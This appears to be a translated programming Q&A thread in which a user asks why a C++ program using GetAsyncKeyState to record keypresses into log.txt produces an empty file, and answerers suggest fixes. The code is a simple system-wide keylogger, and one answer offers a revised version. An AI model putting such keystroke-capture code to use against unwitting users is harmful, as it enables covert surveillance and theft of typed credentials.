将键输入写入文件

时间:2011-11-02 21:23:24

标签: c++

我正在使用代码块中的GNU GCC编译器编译此代码但由于某种原因,无论如何,它创建的日志文件仍为空。任何想法为什么会这样?

#include <iostream>
#include <windows.h>
#include <string>
#include <fstream>

using namespace std;

int i;
string s;

int main()
{
    ofstream log;
    log.open("log.txt");
    while (!GetAsyncKeyState(VK_F8)) {
        for (i=65; i<90; i++) {
            if (GetAsyncKeyState(i)) {
                s+=i;
            }
            Sleep(10);
        }

        if (GetAsyncKeyState(VK_SPACE)) {
            s+=" ";
        }
    }

    log << s;
    log.close();
    cin.get();
}

3 个答案:

答案 0 :(得分:1)

考虑以下几点:


您是否在条件下尝试log << "TEST"

尝试此操作(在log.open调用之后):

log.open("log.txt");
log << "TEST" << endl;

如果TEST被写入文件,则您的文件为空,因为条件永远不会成立。


另一个问题可能是该文件包含不可显示的字符。 将文件转储到十六进制编辑器。该文件的大小是0还是包含您可能无法在常用文本编辑器上显示的数据?


* 编辑:* 这应该符合您的要求:

i" "直接写入log或使用字符串流:

#include <sstream>

//...

ofstream log;
log.open("log.txt");
stringstream str;
while (!GetAsyncKeyState(VK_F8)) {
    for (i=65; i<90; i++) {
        if (GetAsyncKeyState(i)) {
            str << i;
        }
        Sleep(10);
    }

    if (GetAsyncKeyState(VK_SPACE)) {
        str << " ";
    }
}

log << str.rdbuf();
log.close();
cin.get();

答案 1 :(得分:1)

尝试使用if(GetKeyState(0x41))替代if

答案 2 :(得分:0)

您很可能在错误的目录中寻找 log.txt